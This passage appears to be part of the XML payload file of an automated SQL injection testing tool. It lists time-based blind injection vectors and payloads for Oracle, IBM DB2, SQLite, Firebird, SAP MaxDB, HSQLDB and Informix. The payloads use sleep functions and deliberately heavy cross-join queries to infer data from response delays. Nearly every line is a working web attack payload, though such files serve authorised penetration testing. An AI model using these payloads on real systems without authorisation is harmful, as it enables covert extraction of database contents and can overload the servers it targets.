            <time>[SLEEPTIME]</time>
792
        </response>
793
        <details>
794
            <dbms>Oracle</dbms>
795
        </details>
796
    </test>
797

798
    <test>
799
        <title>Oracle OR time-based blind</title>
800
        <stype>5</stype>
801
        <level>1</level>
802
        <risk>3</risk>
803
        <clause>1,2,3,9</clause>
804
        <where>1</where>
805
        <vector>OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END)</vector>
806
        <request>
807
            <payload>OR [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])</payload>
808
        </request>
809
        <response>
810
            <time>[SLEEPTIME]</time>
811
        </response>
812
        <details>
813
            <dbms>Oracle</dbms>
814
        </details>
815
    </test>
816

817
    <test>
818
        <title>Oracle AND time-based blind (comment)</title>
819
        <stype>5</stype>
820
        <level>4</level>
821
        <risk>1</risk>
822
        <clause>1,2,3,9</clause>
823
        <where>1</where>
824
        <vector>AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END)</vector>
825
        <request>
826
            <payload>AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])</payload>
827
            <comment>--</comment>
828
        </request>
829
        <response>
830
            <time>[SLEEPTIME]</time>
831
        </response>
832
        <details>
833
            <dbms>Oracle</dbms>
834
        </details>
835
    </test>
836

837
    <test>
838
        <title>Oracle OR time-based blind (comment)</title>
839
        <stype>5</stype>
840
        <level>4</level>
841
        <risk>3</risk>
842
        <clause>1,2,3,9</clause>
843
        <where>1</where>
844
        <vector>OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END)</vector>
845
        <request>
846
            <payload>OR [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])</payload>
847
            <comment>--</comment>
848
        </request>
849
        <response>
850
            <time>[SLEEPTIME]</time>
851
        </response>
852
        <details>
853
            <dbms>Oracle</dbms>
854
        </details>
855
    </test>
856

857
    <test>
858
        <title>Oracle AND time-based blind (heavy query)</title>
859
        <stype>5</stype>
860
        <level>2</level>
861
        <risk>2</risk>
862
        <clause>1,2,3,9</clause>
863
        <where>1</where>
864
        <vector>AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END)</vector>
865
        <request>
866
            <payload>AND [RANDNUM]=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5)</payload>
867
        </request>
868
        <response>
869
            <time>[DELAYED]</time>
870
        </response>
871
        <details>
872
            <dbms>Oracle</dbms>
873
        </details>
874
    </test>
875

876
    <test>
877
        <title>Oracle OR time-based blind (heavy query)</title>
878
        <stype>5</stype>
879
        <level>2</level>
880
        <risk>3</risk>
881
        <clause>1,2,3,9</clause>
882
        <where>1</where>
883
        <vector>OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END)</vector>
884
        <request>
885
            <payload>OR [RANDNUM]=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5)</payload>
886
        </request>
887
        <response>
888
            <time>[DELAYED]</time>
889
        </response>
890
        <details>
891
            <dbms>Oracle</dbms>
892
        </details>
893
    </test>
894

895
    <test>
896
        <title>Oracle AND time-based blind (heavy query - comment)</title>
897
        <stype>5</stype>
898
        <level>5</level>
899
        <risk>2</risk>
900
        <clause>1,2,3,9</clause>
901
        <where>1</where>
902
        <vector>AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END)</vector>
903
        <request>
904
            <payload>AND [RANDNUM]=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5)</payload>
905
            <comment>--</comment>
906
        </request>
907
        <response>
908
            <time>[DELAYED]</time>
909
        </response>
910
        <details>
911
            <dbms>Oracle</dbms>
912
        </details>
913
    </test>
914

915
    <test>
916
        <title>Oracle OR time-based blind (heavy query - comment)</title>
917
        <stype>5</stype>
918
        <level>5</level>
919
        <risk>3</risk>
920
        <clause>1,2,3,9</clause>
921
        <where>1</where>
922
        <vector>OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END)</vector>
923
        <request>
924
            <payload>OR [RANDNUM]=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5)</payload>
925
            <comment>--</comment>
926
        </request>
927
        <response>
928
            <time>[DELAYED]</time>
929
        </response>
930
        <details>
931
            <dbms>Oracle</dbms>
932
        </details>
933
    </test>
934

935
    <test>
936
        <title>IBM DB2 AND time-based blind (heavy query)</title>
937
        <stype>5</stype>
938
        <level>3</level>
939
        <risk>2</risk>
940
        <clause>1,2,3,9</clause>
941
        <where>1</where>
942
        <vector>AND [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE]))</vector>
943
        <request>
944
            <payload>AND [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3)</payload>
945
        </request>
946
        <response>
947
            <time>[DELAYED]</time>
948
        </response>
949
        <details>
950
            <dbms>IBM DB2</dbms>
951
        </details>
952
    </test>
953

954
    <test>
955
        <title>IBM DB2 OR time-based blind (heavy query)</title>
956
        <stype>5</stype>
957
        <level>3</level>
958
        <risk>3</risk>
959
        <clause>1,2,3,9</clause>
960
        <where>1</where>
961
        <vector>OR [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE]))</vector>
962
        <request>
963
            <payload>OR [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3)</payload>
964
        </request>
965
        <response>
966
            <time>[DELAYED]</time>
967
        </response>
968
        <details>
969
            <dbms>IBM DB2</dbms>
970
        </details>
971
    </test>
972

973
    <test>
974
        <title>IBM DB2 AND time-based blind (heavy query - comment)</title>
975
        <stype>5</stype>
976
        <level>5</level>
977
        <risk>2</risk>
978
        <clause>1,2,3,9</clause>
979
        <where>1</where>
980
        <vector>AND [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE]))</vector>
981
        <request>
982
            <payload>AND [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3)</payload>
983
            <comment>--</comment>
984
        </request>
985
        <response>
986
            <time>[DELAYED]</time>
987
        </response>
988
        <details>
989
            <dbms>IBM DB2</dbms>
990
        </details>
991
    </test>
992

993
    <test>
994
        <title>IBM DB2 OR time-based blind (heavy query - comment)</title>
995
        <stype>5</stype>
996
        <level>5</level>
997
        <risk>3</risk>
998
        <clause>1,2,3,9</clause>
999
        <where>1</where>
1000
        <vector>OR [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE]))</vector>
1001
        <request>
1002
            <payload>OR [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3)</payload>
1003
            <comment>--</comment>
1004
        </request>
1005
        <response>
1006
            <time>[DELAYED]</time>
1007
        </response>
1008
        <details>
1009
            <dbms>IBM DB2</dbms>
1010
        </details>
1011
    </test>
1012

1013
    <test>
1014
        <title>SQLite &gt; 2.0 AND time-based blind (heavy query)</title>
1015
        <stype>5</stype>
1016
        <level>3</level>
1017
        <risk>2</risk>
1018
        <clause>1,8,9</clause>
1019
        <where>1</where>
1020
        <vector>AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END)</vector>
1021
        <request>
1022
            <payload>AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))</payload>
1023
        </request>
1024
        <response>
1025
            <time>[DELAYED]</time>
1026
        </response>
1027
        <details>
1028
            <dbms>SQLite</dbms>
1029
            <dbms_version>&gt; 2.0</dbms_version>
1030
        </details>
1031
    </test>
1032

1033
    <test>
1034
        <title>SQLite &gt; 2.0 OR time-based blind (heavy query)</title>
1035
        <stype>5</stype>
1036
        <level>3</level>
1037
        <risk>3</risk>
1038
        <clause>1,9</clause>
1039
        <where>1</where>
1040
        <vector>OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END)</vector>
1041
        <request>
1042
            <payload>OR [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))</payload>
1043
        </request>
1044
        <response>
1045
            <time>[DELAYED]</time>
1046
        </response>
1047
        <details>
1048
            <dbms>SQLite</dbms>
1049
            <dbms_version>&gt; 2.0</dbms_version>
1050
        </details>
1051
    </test>
1052

1053
    <test>
1054
        <title>SQLite &gt; 2.0 AND time-based blind (heavy query - comment)</title>
1055
        <stype>5</stype>
1056
        <level>5</level>
1057
        <risk>2</risk>
1058
        <clause>1,9</clause>
1059
        <where>1</where>
1060
        <vector>AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END)</vector>
1061
        <request>
1062
            <payload>AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))</payload>
1063
            <comment>--</comment>
1064
        </request>
1065
        <response>
1066
            <time>[DELAYED]</time>
1067
        </response>
1068
        <details>
1069
            <dbms>SQLite</dbms>
1070
            <dbms_version>&gt; 2.0</dbms_version>
1071
        </details>
1072
    </test>
1073

1074
    <test>
1075
        <title>SQLite &gt; 2.0 OR time-based blind (heavy query - comment)</title>
1076
        <stype>5</stype>
1077
        <level>5</level>
1078
        <risk>3</risk>
1079
        <clause>1,9</clause>
1080
        <where>1</where>
1081
        <vector>OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END)</vector>
1082
        <request>
1083
            <payload>OR [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))</payload>
1084
            <comment>--</comment>
1085
        </request>
1086
        <response>
1087
            <time>[DELAYED]</time>
1088
        </response>
1089
        <details>
1090
            <dbms>SQLite</dbms>
1091
            <dbms_version>&gt; 2.0</dbms_version>
1092
        </details>
1093
    </test>
1094

1095
    <test>
1096
        <title>Firebird &gt;= 2.0 AND time-based blind (heavy query)</title>
1097
        <stype>5</stype>
1098
        <level>4</level>
1099
        <risk>2</risk>
1100
        <clause>1,9</clause>
1101
        <where>1</where>
1102
        <vector>AND [RANDNUM]=IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM])</vector>
1103
        <request>
1104
            <payload>AND [RANDNUM]=(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4)</payload>
1105
        </request>
1106
        <response>
1107
            <time>[DELAYED]</time>
1108
        </response>
1109
        <details>
1110
            <dbms>Firebird</dbms>
1111
            <dbms_version>&gt;= 2.0</dbms_version>
1112
        </details>
1113
    </test>
1114

1115
    <test>
1116
        <title>Firebird &gt;= 2.0 OR time-based blind (heavy query)</title>
1117
        <stype>5</stype>
1118
        <level>4</level>
1119
        <risk>3</risk>
1120
        <clause>1,9</clause>
1121
        <where>1</where>
1122
        <vector>OR [RANDNUM]=IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM])</vector>
1123
        <request>
1124
            <payload>OR [RANDNUM]=(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4)</payload>
1125
        </request>
1126
        <response>
1127
            <time>[DELAYED]</time>
1128
        </response>
1129
        <details>
1130
            <dbms>Firebird</dbms>
1131
            <dbms_version>&gt;= 2.0</dbms_version>
1132
        </details>
1133
    </test>
1134

1135
    <test>
1136
        <title>Firebird &gt;= 2.0 AND time-based blind (heavy query - comment)</title>
1137
        <stype>5</stype>
1138
        <level>5</level>
1139
        <risk>2</risk>
1140
        <clause>1,9</clause>
1141
        <where>1</where>
1142
        <vector>AND [RANDNUM]=IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM])</vector>
1143
        <request>
1144
            <payload>AND [RANDNUM]=(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4)</payload>
1145
            <comment>--</comment>
1146
        </request>
1147
        <response>
1148
            <time>[DELAYED]</time>
1149
        </response>
1150
        <details>
1151
            <dbms>Firebird</dbms>
1152
            <dbms_version>&gt;= 2.0</dbms_version>
1153
        </details>
1154
    </test>
1155

1156
    <test>
1157
        <title>Firebird &gt;= 2.0 OR time-based blind (heavy query - comment)</title>
1158
        <stype>5</stype>
1159
        <level>5</level>
1160
        <risk>3</risk>
1161
        <clause>1,9</clause>
1162
        <where>1</where>
1163
        <vector>OR [RANDNUM]=IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM])</vector>
1164
        <request>
1165
            <payload>OR [RANDNUM]=(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4)</payload>
1166
            <comment>--</comment>
1167
        </request>
1168
        <response>
1169
            <time>[DELAYED]</time>
1170
        </response>
1171
        <details>
1172
            <dbms>Firebird</dbms>
1173
            <dbms_version>&gt;= 2.0</dbms_version>
1174
        </details>
1175
    </test>
1176

1177
    <test>
1178
        <title>SAP MaxDB AND time-based blind (heavy query)</title>
1179
        <stype>5</stype>
1180
        <level>4</level>
1181
        <risk>2</risk>
1182
        <clause>1,2,3,9</clause>
1183
        <where>1</where>
1184
        <vector>AND [RANDNUM]=(SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3)</vector>
1185
        <request>
1186
            <payload>AND [RANDNUM]=(SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3)</payload>
1187
        </request>
1188
        <response>
1189
            <time>[DELAYED]</time>
1190
        </response>
1191
        <details>
1192
            <dbms>SAP MaxDB</dbms>
1193
        </details>
1194
    </test>
1195

1196
    <test>
1197
        <title>SAP MaxDB OR time-based blind (heavy query)</title>
1198
        <stype>5</stype>
1199
        <level>4</level>
1200
        <risk>3</risk>
1201
        <clause>1,2,3,9</clause>
1202
        <where>1</where>
1203
        <vector>OR [RANDNUM]=(SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3)</vector>
1204
        <request>
1205
            <payload>OR [RANDNUM]=(SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3)</payload>
1206
        </request>
1207
        <response>
1208
            <time>[DELAYED]</time>
1209
        </response>
1210
        <details>
1211
            <dbms>SAP MaxDB</dbms>
1212
        </details>
1213
    </test>
1214

1215
    <test>
1216
        <title>SAP MaxDB AND time-based blind (heavy query - comment)</title>
1217
        <stype>5</stype>
1218
        <level>5</level>
1219
        <risk>2</risk>
1220
        <clause>1,2,3,9</clause>
1221
        <where>1</where>
1222
        <vector>AND [RANDNUM]=(SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3)</vector>
1223
        <request>
1224
            <payload>AND [RANDNUM]=(SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3)</payload>
1225
            <comment>--</comment>
1226
        </request>
1227
        <response>
1228
            <time>[DELAYED]</time>
1229
        </response>
1230
        <details>
1231
            <dbms>SAP MaxDB</dbms>
1232
        </details>
1233
    </test>
1234

1235
    <test>
1236
        <title>SAP MaxDB OR time-based blind (heavy query - comment)</title>
1237
        <stype>5</stype>
1238
        <level>5</level>
1239
        <risk>3</risk>
1240
        <clause>1,2,3,9</clause>
1241
        <where>1</where>
1242
        <vector>OR [RANDNUM]=(SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3)</vector>
1243
        <request>
1244
            <payload>OR [RANDNUM]=(SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3)</payload>
1245
            <comment>--</comment>
1246
        </request>
1247
        <response>
1248
            <time>[DELAYED]</time>
1249
        </response>
1250
        <details>
1251
            <dbms>SAP MaxDB</dbms>
1252
        </details>
1253
    </test>
1254

1255
    <test>
1256
        <title>HSQLDB &gt;= 1.7.2 AND time-based blind (heavy query)</title>
1257
        <stype>5</stype>
1258
        <level>4</level>
1259
        <risk>2</risk>
1260
        <clause>1,2,3,9</clause>
1261
        <where>1</where>
1262
        <vector>AND '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) ELSE '[RANDSTR]' END</vector>
1263
        <request>
1264
            <payload>AND '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL)</payload>
1265
        </request>
1266
        <response>
1267
            <time>[SLEEPTIME]</time>
1268
        </response>
1269
        <details>
1270
            <dbms>HSQLDB</dbms>
1271
            <dbms_version>&gt;= 1.7.2</dbms_version>
1272
        </details>
1273
    </test>
1274

1275
    <test>
1276
        <title>HSQLDB &gt;= 1.7.2 OR time-based blind (heavy query)</title>
1277
        <stype>5</stype>
1278
        <level>4</level>
1279
        <risk>3</risk>
1280
        <clause>1,2,3,9</clause>
1281
        <where>1</where>
1282
        <vector>OR '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) ELSE '[RANDSTR]' END</vector>
1283
        <request>
1284
            <payload>OR '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL)</payload>
1285
        </request>
1286
        <response>
1287
            <time>[SLEEPTIME]</time>
1288
        </response>
1289
        <details>
1290
            <dbms>HSQLDB</dbms>
1291
            <dbms_version>&gt;= 1.7.2</dbms_version>
1292
        </details>
1293
    </test>
1294

1295
    <test>
1296
        <title>HSQLDB &gt;= 1.7.2 AND time-based blind (heavy query - comment)</title>
1297
        <stype>5</stype>
1298
        <level>5</level>
1299
        <risk>2</risk>
1300
        <clause>1,2,3,9</clause>
1301
        <where>1</where>
1302
        <vector>AND '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) ELSE '[RANDSTR]' END</vector>
1303
        <request>
1304
            <payload>AND '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL)</payload>
1305
            <comment>--</comment>
1306
        </request>
1307
        <response>
1308
            <time>[DELAYED]</time>
1309
        </response>
1310
        <details>
1311
            <dbms>HSQLDB</dbms>
1312
            <dbms_version>&gt;= 1.7.2</dbms_version>
1313
        </details>
1314
    </test>
1315

1316
    <test>
1317
        <title>HSQLDB &gt;= 1.7.2 OR time-based blind (heavy query - comment)</title>
1318
        <stype>5</stype>
1319
        <level>5</level>
1320
        <risk>3</risk>
1321
        <clause>1,2,3,9</clause>
1322
        <where>1</where>
1323
        <vector>OR '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) ELSE '[RANDSTR]' END</vector>
1324
        <request>
1325
            <payload>OR '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL)</payload>
1326
            <comment>--</comment>
1327
        </request>
1328
        <response>
1329
            <time>[DELAYED]</time>
1330
        </response>
1331
        <details>
1332
            <dbms>HSQLDB</dbms>
1333
            <dbms_version>&gt;= 1.7.2</dbms_version>
1334
        </details>
1335
    </test>
1336

1337
    <test>
1338
        <title>HSQLDB &gt; 2.0 AND time-based blind (heavy query)</title>
1339
        <stype>5</stype>
1340
        <level>4</level>
1341
        <risk>2</risk>
1342
        <clause>1,2,3,9</clause>
1343
        <where>1</where>
1344
        <vector>AND '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END</vector>
1345
        <request>
1346
            <payload>AND '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL)</payload>
1347
        </request>
1348
        <response>
1349
            <time>[SLEEPTIME]</time>
1350
        </response>
1351
        <details>
1352
            <dbms>HSQLDB</dbms>
1353
            <dbms_version>&gt; 2.0</dbms_version>
1354
        </details>
1355
    </test>
1356

1357
    <test>
1358
        <title>HSQLDB &gt; 2.0 OR time-based blind (heavy query)</title>
1359
        <stype>5</stype>
1360
        <level>4</level>
1361
        <risk>3</risk>
1362
        <clause>1,2,3,9</clause>
1363
        <where>1</where>
1364
        <vector>OR '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END</vector>
1365
        <request>
1366
            <payload>OR '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL)</payload>
1367
        </request>
1368
        <response>
1369
            <time>[SLEEPTIME]</time>
1370
        </response>
1371
        <details>
1372
            <dbms>HSQLDB</dbms>
1373
            <dbms_version>&gt; 2.0</dbms_version>
1374
        </details>
1375
    </test>
1376

1377
    <test>
1378
        <title>HSQLDB &gt; 2.0 AND time-based blind (heavy query - comment)</title>
1379
        <stype>5</stype>
1380
        <level>5</level>
1381
        <risk>2</risk>
1382
        <clause>1,2,3,9</clause>
1383
        <where>1</where>
1384
        <vector>AND '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END</vector>
1385
        <request>
1386
            <payload>AND '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL)</payload>
1387
            <comment>--</comment>
1388
        </request>
1389
        <response>
1390
            <time>[DELAYED]</time>
1391
        </response>
1392
        <details>
1393
            <dbms>HSQLDB</dbms>
1394
            <dbms_version>&gt; 2.0</dbms_version>
1395
        </details>
1396
    </test>
1397

1398
    <test>
1399
        <title>HSQLDB &gt; 2.0 OR time-based blind (heavy query - comment)</title>
1400
        <stype>5</stype>
1401
        <level>5</level>
1402
        <risk>3</risk>
1403
        <clause>1,2,3,9</clause>
1404
        <where>1</where>
1405
        <vector>OR '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END</vector>
1406
        <request>
1407
            <payload>OR '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL)</payload>
1408
            <comment>--</comment>
1409
        </request>
1410
        <response>
1411
            <time>[DELAYED]</time>
1412
        </response>
1413
        <details>
1414
            <dbms>HSQLDB</dbms>
1415
            <dbms_version>&gt; 2.0</dbms_version>
1416
        </details>
1417
    </test>
1418

1419
    <test>
1420
        <title>Informix AND time-based blind (heavy query)</title>
1421
        <stype>5</stype>
1422
        <level>2</level>
1423
        <risk>2</risk>
1424
        <clause>1,2,3,9</clause>
1425
        <where>1</where>
1426
        <vector>AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR) ELSE [RANDNUM] END)</vector>
1427
        <request>
1428
            <payload>AND [RANDNUM]=(SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR)</payload>
1429
        </request>
1430
        <response>
1431
            <time>[DELAYED]</time>
1432
        </response>
1433
        <details>
1434
            <dbms>Informix</dbms>
1435
        </details>
1436
    </test>
1437

1438
    <test>
1439
        <title>Informix OR time-based blind (heavy query)</title>
1440
        <stype>5</stype>
1441
        <level>2</level>
1442
        <risk>3</risk>
1443
        <clause>1,2,3,9</clause>
1444
        <where>1</where>
1445
        <vector>OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR) ELSE [RANDNUM] END)</vector>
1446
        <request>
1447
            <payload>OR [RANDNUM]=(SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR)</payload>
1448
        </request>
1449
        <response>
1450
            <time>[DELAYED]</time>
1451
        </response>
1452
        <details>
1453
            <dbms>Informix</dbms>
1454
        </details>
1455
    </test>
1456

1457
    <test>
1458
        <title>Informix AND time-based blind (heavy query - comment)</title>
1459
        <stype>5</stype>
1460
        <level>5</level>
1461
        <risk>2</risk>
1462
        <clause>1,2,3,9</clause>
1463
        <where>1</where>
1464
        <vector>AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR) ELSE [RANDNUM] END)</vector>
1465
        <request>
1466
            <payload>AND [RANDNUM]=(SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR)</payload>
1467
            <comment>--</comment>
1468
        </request>
1469
        <response>
1470
            <time>[DELAYED]</time>
1471
        </response>
1472
        <details>
1473
            <dbms>Informix</dbms>
1474
        </details>
1475
    </test>
1476

1477
    <test>
1478
        <title>Informix OR time-based blind (heavy query - comment)</title>
1479
        <stype>5</stype>
1480
        <level>5</level>
1481
        <risk>3</risk>
1482
        <clause>1,2,3,9</clause>
1483
        <where>1</where>
1484
        <vector>OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR) ELSE [RANDNUM] END)</vector>
1485
        <request>
1486
            <payload>OR [RANDNUM]=(SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR)</payload>
1487
            <comment>--</comment>
1488
        </request>
1489
        <response>
1490
            <time>[DELAYED]</time>
1491
        </response>
1492
        <details>
1493
            <dbms>Informix</dbms>
